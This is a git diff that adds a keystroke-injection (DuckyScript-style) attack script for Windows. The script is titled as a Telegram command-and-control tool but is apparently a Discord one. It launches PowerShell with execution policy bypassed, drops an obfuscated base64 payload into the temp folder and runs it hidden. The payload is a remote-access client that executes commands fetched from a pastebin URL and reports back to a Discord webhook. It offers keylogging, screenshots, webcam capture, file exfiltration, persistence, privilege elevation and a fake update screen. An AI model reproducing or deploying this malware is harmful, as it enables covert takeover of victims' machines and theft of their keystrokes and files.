diff --git a/Reverse Shells and C2/Discord-C2-Client-from-Base64.txt b/Reverse Shells and C2/Discord-C2-Client-from-Base64.txt new file mode 100644 index 0000000..2de8bbe --- /dev/null +++ b/Reverse Shells and C2/Discord-C2-Client-from-Base64.txt @@ -0,0 +1,34 @@ +REM Title: beigeworm's Telegram Command And Control. +REM Author: @beigeworm +REM Description: Using a Telegram Bot's Chat to Act as a Command and Control Platform. +REM Target: Windows 10 and 11 + +REM SETUP +REM Goto https://pastebin.com and make an account.. +REM Create an empty paste/file and copy the RAW url. +REM Change PASTEBIN_URL_HERE to the RAW url eg. https://pastebin.com/raw/QeCLTdea -OR- http://your.server.ip.here/files/file.txt +REM Change WEBHOOK_HERE to your webhook eg. https://discord.com/api/webhooks/123445623531/f4fw3f4r46r44343t5gxxxxxx + +REM for more info goto - https://github.com/beigeworm/PoshCord-C2 + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM Open Powershell and start logs. +DELAY 1000 +GUI r +DELAY 500 +STRING powershell -NoP -NonI -Exec Bypass +ENTER +DELAY 5000 + +STRING '$hookurl = "WEBHOOK_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force +ENTER +STRING '$ghurl = "PASTEBIN_URL_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force +ENTER +STRING $b64 = 'JHBhcmVudCA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL1Bvc2hDb3JkLUMyL21haW4vRGlzY29yZC1DMi1DbGllbnQucHMxIiAjIHBhcmVudCBzY3JpcHQgVVJMIChmb3IgcmVzdGFydHMgYW5kIHBlcnNpc3RhbmNlKQ0KJHJlc3BvbnNlID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkR0h1cmwNCiRwcmV2aW91c2NtZCA9ICRyZXNwb25zZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmxpbms6IGBgV0FJVElORyBGT1IgQ09NTUFORFMuLmBgIDpsaW5rOiJ9IHwgQ29udmVydFRvLUpzb24NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCg0KRnVuY3Rpb24gT3B0aW9uc3sNCiRtc2dzeXMgPSAiYGA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09IERpc2NvcmQgQzIgT3B0aW9ucyA9PT09PT09PT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9IENvbW1hbmRzIExpc3QgLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj0gTWVzc2FnZSA6IFNlbmQgYSBtZXNzYWdlIHdpbmRvdyB0byB0aGUgVXNlciAgICAgICAgICA9DQo9IFNjcmVlbnNob3QgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wICAgICAgPQ0KPSBLZXljYXB0dXJlICAgOiBDYXB0dXJlIEtleXN0cm9rZXMgYW5kIHNlbmQgICAgICAgICAgID0NCj0gRXhmaWx0cmF0ZSA6IFNlbmQgdmFyaW91cyBmaWxlcy4gKHNlZSBFeHRyYUluZm8pICAgICA9DQo9IFVwbG9hZCA6IFVwbG9hZCBhIGZpbGUuIChzZWUgRXh0cmFJbmZvKSAgICAgICAgICAgICAgPQ0KPSBTeXN0ZW1pbmZvIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUuICAgICAgICAgID0NCj0gVGFrZVBpY3R1cmUgOiBTZW5kIGEgd2ViY2FtIHBpY3R1cmUuICAgICAgICAgICAgICAgICA9DQo9IEZvbGRlclRyZWUgOiBTYXZlIGZvbGRlciB0cmVlcyB0byBmaWxlIGFuZCBzZW5kLiAgICAgPQ0KPSBGYWtlVXBkYXRlIDogU3Bvb2Ygd2luZG93cyB1cGRhdGUgc2NyZWVuLiAgICAgICAgICAgID0NCj0gQWRkUGVyc2lzdGFuY2UgOiBBZGQgdGhpcyBzY3JpcHQgdG8gc3RhcnR1cC4gICAgICAgICA9DQo9IFJlbW92ZVBlcnNpc3RhbmNlIDogUmVtb3ZlIGZyb20gc3RhcnR1cCAgICAgICAgICAgICAgPQ0KPSBDdXN0b21Db21tYW5kIDogRXhlY3V0ZSBhIGdpdGh1YiBmaWxlIGFzIGEgc2NyaXB0LiAgID0NCj0gSXNBZG1pbiAgOiBDaGVjayBpZiB0aGUgc2Vzc2lvbiBpcyBhZG1pbiAgICAgICAgICAgICA9DQo9IEF0dGVtcHRFbGV2YXRlIDogQXR0ZW1wdCB0byByZXN0YXJ0IHNjcmlwdCBhcyBhZG1pbiAgPQ0KPSBFbnVtZXJhdGVMQU4gIDogU2hvdyBkZXZpY2VzIG9uIExBTiAoc2VlIEV4dHJhSW5mbykgID0NCj0gQ2xvc2UgIDogQ2xvc2UgdGhpcyBTZXNzaW9uICAgICAgICAgICAgICAgICAgICAgICAgICA9DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPSBFeGFtcGxlcyBhbmQgSW5mbyAtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9IF9fVG8gRXhpdCBFeGlsdHJhdGUgb3IgS2V5Y2FwdHVyZV9fICAgICAgICAgICAgICAgICAgPQ0KPSBFZGl0IHlvdXIgaG9zdGVkIGZpbGUgdG8gY29udGFpbiAna2lsbCcgICAgICAgICAgICAgID0NCj0gdGhpcyB3aWxsIGV4aXQgdGhlIGN1cnJlbnQgZnVuY3Rpb24gZWcuICdrZXljYXB0dXJlJyA9DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBgIg0KJGVzY21zZ3N5cyA9ICRtc2dzeXMgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIiRlc2Ntc2dzeXMifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEV4dHJhSW5mb3sNCiRtc2dzeXMgPSAiYGA9PT09PT09PT0gIEV4ZmlsdHJhdGUgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09PT09PT09PT0NCj0gKCBFeGZpbHRyYXRlIC1QYXRoIERvY3VtZW50cyAtRmlsZXR5cGUgcG5nICkgICAgICAgICAgPQ0KPSAoIEV4ZmlsdHJhdGUgLUZpbGV0eXBlIGxvZyApICAgICAgICAgICAgICAgICAgICAgICAgICA9DQo9ICggRXhmaWx0cmF0ZSApICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj0gRXhmaWx0cmF0ZSBvbmx5IHdpbGwgc2VuZCBtYW55IHByZS1kZWZpbmVkIGZpbGV0eXBlcyAgPQ0KPSBmcm9tIGFsbCBVc2VyIEZvbGRlcnMgbGlrZSBEb2N1bWVudHMsIERvd25sb2FkcyBldGMuLiA9DQo9IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tID0NCj0gUEFUSCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPSBEb2N1bWVudHMsIERlc2t0b3AsIERvd25sb2FkcywgICAgICAgICAgICAgICAgICAgICAgICA9DQo9IE9uZURyaXZlLCBQaWN0dXJlcywgVmlkZW9zLiAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj0gRklMRVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPSBsb2csIGRiLCB0eHQsIGRvYywgcGRmLCBqcGcsIGpwZWcsIHBuZywgICAgICAgICAgICAgICA9DQo9IHdkb2MsIHhkb2MsIGNlciwga2V5LCB4bHMsIHhsc3gsICAgICAgICAgICAgICAgICAgICAgID0NCj0gY2ZnLCBjb25mLCBkb2N4LCByZnQuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09PSAgVXBsb2FkIENvbW1hbmQgRXhhbXBsZSA9PT09PT09PT09PT09DQo9ICggVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQgKSAgICAgICAgICAgICAgICAgID0NCj0gVXNlICdGb2xkZXItVHJlZScgY29tbWFuZCB0byBzaG93IGFsbCBmaWxlcyAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT0gIEVudW1lcmF0ZS1MQU4gRXhhbXBsZSA9PT09PT09PT09PT09PT09DQooIEVudW1lcmF0ZS1MQU4gLVByZWZpeCAxOTIuMTY4LjEuICkgICAgICAgICAgICAgICAgICAgID0NClRoaXMgRWcuIHdpbGwgc2NhbiAxOTIuMTY4LjEuMSB0byAxOTIuMTY4LjEuMjU0ICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09ICBNZXNzYWdlIEV4YW1wbGUgPT09PT09PT09PT09PT09PT09PT09DQooIE1lc3NhZ2UgJ1lvdXIgTWVzc2FnZSBIZXJlIScgKSAgICAgICAgICAgICAgICAgICAgICAgID0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBgIg0KJGVzY21zZ3N5cyA9ICRtc2dzeXMgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIiRlc2Ntc2dzeXMifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEZvbGRlclRyZWV7DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRGVza3RvcCAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9EZXNrdG9wLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0RvY3VtZW50cyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb2N1bWVudHMudHh0DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRG93bmxvYWRzIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0Rvd25sb2Fkcy50eHQNCiRGaWxlUGF0aCA9IiRlbnY6dGVtcC9UcmVlc09mS25vd2xlZGdlLnppcCINCkNvbXByZXNzLUFyY2hpdmUgLVBhdGggJGVudjpURU1QXERlc2t0b3AudHh0LCAkZW52OlRFTVBcRG9jdW1lbnRzLnR4dCwgJGVudjpURU1QXERvd25sb2Fkcy50eHQgLURlc3RpbmF0aW9uUGF0aCAkRmlsZVBhdGgNCnNsZWVwIDENCmN1cmwuZXhlIC1GIGZpbGUxPUAiJEZpbGVQYXRoIiAkaG9va3VybA0Kcm0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gTWVzc2FnZShbc3RyaW5nXSRNZXNzYWdlKXsNCm1zZy5leGUgKiAkTWVzc2FnZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmFycm93c19jb3VudGVyY2xvY2t3aXNlOiBgYE1lc3NhZ2UgU2VudCB0byBVc2VyLi5gYCA6YXJyb3dzX2NvdW50ZXJjbG9ja3dpc2U6In0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KfQ0KDQpGdW5jdGlvbiBVcGxvYWR7DQpwYXJhbSAoW3N0cmluZ1tdXSRQYXRoKQ0KaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCl7DQogICAgJGV4dGVuc2lvbiA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEV4dGVuc2lvbigkcGF0aCkNCiAgICBpZiAoJGV4dGVuc2lvbiAtZXEgIi5leGUiIC1vciAkZXh0ZW5zaW9uIC1lcSAiLm1zaSIpIHsNCiAgICAgICAgJHRlbXBaaXBGaWxlUGF0aCA9IFtTeXN0ZW0uSU8uUGF0aF06OkNvbWJpbmUoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSwgW1N5c3RlbS5JTy5QYXRoXTo6R2V0RmlsZU5hbWUoJHBhdGgpKQ0KICAgICAgICBBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQogICAgICAgIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkNyZWF0ZUZyb21EaXJlY3RvcnkoJHBhdGgsICR0ZW1wWmlwRmlsZVBhdGgpDQogICAgICAgIGN1cmwuZXhlIC1GIGZpbGUxPUAiJHRlbXBaaXBGaWxlUGF0aCIgJGhvb2t1cmwNCiAgICAgICAgc2xlZXAgMQ0KICAgICAgICBSbSAtUGF0aCAkdGVtcFppcEZpbGVQYXRoIC1SZWN1cnNlIC1Gb3JjZQ0KICAgIH1lbHNlew0KICAgICAgICBjdXJsLmV4ZSAtRiBmaWxlMT1AIiRQYXRoIiAkaG9va3VybA0KICAgIH0NCn0NCn0NCg0KRnVuY3Rpb24gRmFrZVVwZGF0ZSB7DQokdG9iYXQgPSBAJw0KU2V0IFdzaFNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KV3NoU2hlbGwuUnVuICJDOlxXaW5kb3dzXFN5c3RlbTMyXHNjcm5zYXZlLnNjciINCldzaFNoZWxsLlJ1biAiY2hyb21lLmV4ZSAtLW5ldy13aW5kb3cgLWtpb3NrIGh0dHBzOi8vZmFrZXVwZGF0ZS5uZXQvd2luOCIsIDEsIEZhbHNlDQpXU2NyaXB0LlNsZWVwIDIwMA0KV3NoU2hlbGwuU2VuZEtleXMgIntGMTF9Ig0KJ0ANCiRwdGggPSAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXDEwMjEudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpzbGVlcCAxDQpTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkcHRoDQpzbGVlcCAzDQpSZW1vdmUtSXRlbSAtUGF0aCAkcHRoIC1Gb3JjZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmFycm93c19jb3VudGVyY2xvY2t3aXNlOiBgYEZha2UtVXBkYXRlIFNlbnQuLmBgIDphcnJvd3NfY291bnRlcmNsb2Nrd2lzZToifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEVudW1lcmF0ZUxBTnsNCnBhcmFtIChbc3RyaW5nXSRQcmVmaXgpDQppZiAoJFByZWZpeC5MZW5ndGggLWVxIDApe1dyaXRlLU91dHB1dCAiVXNlIC1wcmVmaXggdG8gZGVmaW5lIHRoZSBmaXJzdCAzIHBhcnRzIG9mIGFuIElQIEFkZHJlc3MgZWcuIEVudW1lcmF0ZS1MQU4gLXByZWZpeCAxOTIuMTY4LjEiO3NsZWVwIDEgO3JldHVybn0NCiRGaWxlT3V0ID0gIiRlbnY6dGVtcFxDb21wdXRlcnMuY3N2Ig0KMS4uMjU1IHwgRm9yRWFjaC1PYmplY3Qgew0KICAgICRpcEFkZHJlc3MgPSAiJFByZWZpeC4kXyINCiAgICBTdGFydC1Qcm9jZXNzIC1XaW5kb3dTdHlsZSBIaWRkZW4gcGluZy5leGUgLUFyZ3VtZW50TGlzdCAiLW4gMSAtbCAwIC1mIC1pIDIgLXcgMTAwIC00ICRpcEFkZHJlc3MiDQogICAgfQ0KJENvbXB1dGVycyA9IChhcnAuZXhlIC1hIHwgU2VsZWN0LVN0cmluZyAiJFByZWZpeC4qZHluYW0iKSAtcmVwbGFjZSAnICsnLCAnLCcgfA0KICAgICAgICAgICAgIENvbnZlcnRGcm9tLUNzdiAtSGVhZGVyIENvbXB1dGVybmFtZSwgSVB2NCwgTUFDLCB4LCBWZW5kb3IgfA0KICAgICAgICAgICAgIFNlbGVjdC1PYmplY3QgSVB2NCwgTUFDDQokQ29tcHV0ZXJzIHwgRXhwb3J0LUNzdiAkRmlsZU91dCAtTm9UeXBlSW5mb3JtYXRpb24NCiRkYXRhID0gSW1wb3J0LUNzdiAkRmlsZU91dA0KJGRhdGEgfCBGb3JFYWNoLU9iamVjdCB7DQogICAgJG1hYyA9ICRfLidNQUMnDQogICAgJGFwaVVybCA9ICJodHRwczovL2FwaS5tYWN2ZW5kb3JzLmNvbS8kbWFjIg0KICAgICRtYW51ZmFjdHVyZXIgPSAoSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsKS5UcmltKCkNCiAgICBTdGFydC1TbGVlcCAtU2Vjb25kcyAxDQogICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAibWFudWZhY3R1cmVyIiAtVmFsdWUgJG1hbnVmYWN0dXJlciAtRm9yY2UNCiAgICB9DQogICAgd2hpbGUgKCRMYXN0S2V5cHJlc3NUaW1lLkVsYXBzZWQgLWx0ICRLZXlwcmVzc1RocmVzaG9sZCkgew0KICAgICAgICBTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDMwDQogICAgICAgIGZvciAoJGFzYyA9IDg7ICRhc2MgLWxlIDI1NDsgJGFzYysrKXsNCiAgICAgICAgJGtleXN0ID0gJEFQSTo6R2V0QXN5bmNLZXlTdGF0ZSgkYXNjKQ0KICAgICAgICAgICAgaWYgKCRrZXlzdCAtZXEgLTMyNzY3KSB7DQogICAgICAgICAgICAka2V5UHJlc3NlZCA9ICR0cnVlDQogICAgICAgICAgICAkTGFzdEtleXByZXNzVGltZS5SZXN0YXJ0KCkNCiAgICAgICAgICAgICRudWxsID0gW2NvbnNvbGVdOjpDYXBzTG9jaw0KICAgICAgICAgICAgJHZ0a2V5ID0gJEFQSTo6TWFwVmlydHVhbEtleSgkYXNjLCAzKQ0KICAgICAgICAgICAgJGtic3QgPSBOZXctT2JqZWN0IEJ5dGVbXSAyNTYNCiAgICAgICAgICAgICRjaGVja2tic3QgPSAkQVBJOjpHZXRLZXlib2FyZFN0YXRlKCRrYnN0KQ0KICAgICAgICAgICAgJGxvZ2NoYXIgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmICgkQVBJOjpUb1VuaWNvZGUoJGFzYywgJHZ0a2V5LCAka2JzdCwgJGxvZ2NoYXIsICRsb2djaGFyLkNhcGFjaXR5LCAwKSkgew0KICAgICAgICAgICAgICAgICRMU3RyaW5nID0gJGxvZ2NoYXIuVG9TdHJpbmcoKQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgOCkgeyRMU3RyaW5nID0gIltCS1NQXSJ9DQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSAxMykgeyRMU3RyaW5nID0gIltFTlRdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDI3KSB7JExTdHJpbmcgPSAiW0VTQ10ifQ0KICAgICAgICAgICAgICAgICAgICAkbm9zYXZlICs9ICRMU3RyaW5nIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRtZXNzYWdlcyA9IEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJEdIdXJsDQogICAgICAgIGlmICgkbWVzc2FnZXMgLW1hdGNoICJraWxsIikgew0KICAgICAgICAkanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICI6bWFnX3JpZ2h0OiBgYEtleWxvZ2dlciBTdG9wcGVkYGAgOm9jdGFnb25hbF9zaWduOiJ9IHwgQ29udmVydFRvLUpzb24NCiAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KICAgICAgICAkcHJldmlvdXNjbWQgPSAkcmVzcG9uc2UNCiAgICAgICAgcmV0dXJuDQogICAgICAgIH0NCiAgICB9DQogICAgZmluYWxseXsNCiAgICAgICAgSWYgKCRrZXlQcmVzc2VkIC1hbmQgJG1lc3NhZ2VzIC1ub3Rjb250YWlucyAia2lsbCIpIHsNCiAgICAgICAgICAgICRlc2Ntc2dzeXMgPSAkbm9zYXZlIC1yZXBsYWNlICdbJjw+XScsIHskYXJnc1swXS5WYWx1ZS5SZXBsYWNlKCcmJywgJyZhbXA7JykuUmVwbGFjZSgnPCcsICcmbHQ7JykuUmVwbGFjZSgnPicsICcmZ3Q7Jyl9DQogICAgICAgICAgICAkanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICI6bWFnX3JpZ2h0OiBgYEtleXMgQ2FwdHVyZWQgOmBgICRlc2Ntc2dzeXMifSB8IENvbnZlcnRUby1Kc29uDQogICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQogICAgICAgICAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgICAgICAgICAgJG5vc2F2ZSA9ICIiDQogICAgICAgIH0NCiAgICB9DQokTGFzdEtleXByZXNzVGltZS5SZXN0YXJ0KCkNClN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMTANCn0NCn0NCg0KDQp3aGlsZSgkdHJ1ZSl7DQogICAgJHJlc3BvbnNlID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkR0h1cmwNCg0KICAgIGlmICghKCRyZXNwb25zZSAtbWF0Y2ggIiRwcmV2aW91c2NtZCIpKSB7DQogICAgV3JpdGUtT3V0cHV0ICJDb21tYW5kIGZvdW5kISINCiAgICAgICAgaWYgKCRyZXNwb25zZSAtbWF0Y2ggImNsb3NlIikgew0KICAgICAgICAgICAgJHByZXZpb3VzY21kID0gJHJlc3BvbnNlICAgICAgICANCiAgICAgICAgICAgICRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjpvY3RhZ29uYWxfc2lnbjogYGBDbG9zaW5nIFNlc3Npb24uYGAgOm9jdGFnb25hbF9zaWduOiJ9IHwgQ29udmVydFRvLUpzb24NCiAgICAgICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCiAgICAgICAgICAgIGJyZWFrDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICghKCRyZXNwb25zZSAtbWF0Y2ggIiRwcmV2aW91c2NtZCIpKSB7DQogICAgICAgICAgICAkUmVzdWx0PWllYHgoJHJlc3BvbnNlKSAtRXJyb3JBY3Rpb24gU3RvcA0KICAgICAgICAgICAgaWYgKCgkcmVzdWx0Lmxlbmd0aCAtZXEgMCkgLW9yICgkcmVzdWx0IC1jb250YWlucyAicHVibGljX2ZsYWdzIikpew0KICAgICAgICAgICAgICAgICRwcmV2aW91c2NtZCA9ICRyZXNwb25zZQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZXsNCiAgICAgICAgICAgICAgICAkcHJldmlvdXNjbWQgPSAkcmVzcG9uc2UNCiAgICAgICAgICAgICAgICAkanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICJgYCRSZXN1bHRgYCJ9IHwgQ29udmVydFRvLUpzb24NCiAgICAgICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZXsNCiAgICB3cml0ZS1vdXRwdXQgIk5vIGNvbW1hbmQgZm91bmQuLiINCiAgICB9DQpzbGVlcCA1DQp9' +ENTER +STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append +ENTER +STRING Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -w h -File `"$env:temp/a.ps1`"" -f $PSCommandPath);sleep 7;Remove-Item -Path $File -Force;exit +ENTER